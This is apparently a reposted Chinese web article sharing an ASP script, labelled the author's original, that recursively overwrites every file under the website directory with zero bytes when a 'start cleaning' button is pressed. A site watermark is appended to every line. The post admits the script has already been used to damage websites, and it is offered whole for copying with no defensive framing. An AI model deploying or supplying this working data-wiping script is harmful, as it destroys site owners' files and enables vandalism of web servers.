ASP中自动清空站点目录下所有文件

作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节.7tL中国设计秀
此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展.7tL中国设计秀

属于无聊时的作品,已经有人利用这个破坏了一些网站了.7tL中国设计秀

<%7tL中国设计秀
Server.ScriptTimeout=999997tL中国设计秀
If Request("Submit")<>"" Then7tL中国设计秀
 Call ListFile(Server.mappath("./"))7tL中国设计秀
 Response.write"清理完毕"7tL中国设计秀
Else7tL中国设计秀
 Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>"7tL中国设计秀
End If7tL中国设计秀
Function ListFile(fpath)7tL中国设计秀
On Error Resume Next7tL中国设计秀
 Dim Shell,Folder,s7tL中国设计秀
 Set Shell =Server.CreateObject ("Shell.application")7tL中国设计秀
 Set Folder =Shell.Namespace(fpath)7tL中国设计秀
 Set f=Server.CreateObject("Adodb.Stream")7tL中国设计秀
  f.Type=17tL中国设计秀
  f.Open7tL中国设计秀
 For Each s in Folder.Items7tL中国设计秀
  IF s.isfolder Then 7tL中国设计秀
   Call ListFile(s.path) 7tL中国设计秀
  Else7tL中国设计秀
   f.SaveToFile s.path,27tL中国设计秀
  End if7tL中国设计秀
 Next7tL中国设计秀
 Set f=Nothing7tL中国设计秀
 Set Shell=nothing7tL中国设计秀
End function7tL中国设计秀
%>7tL中国设计秀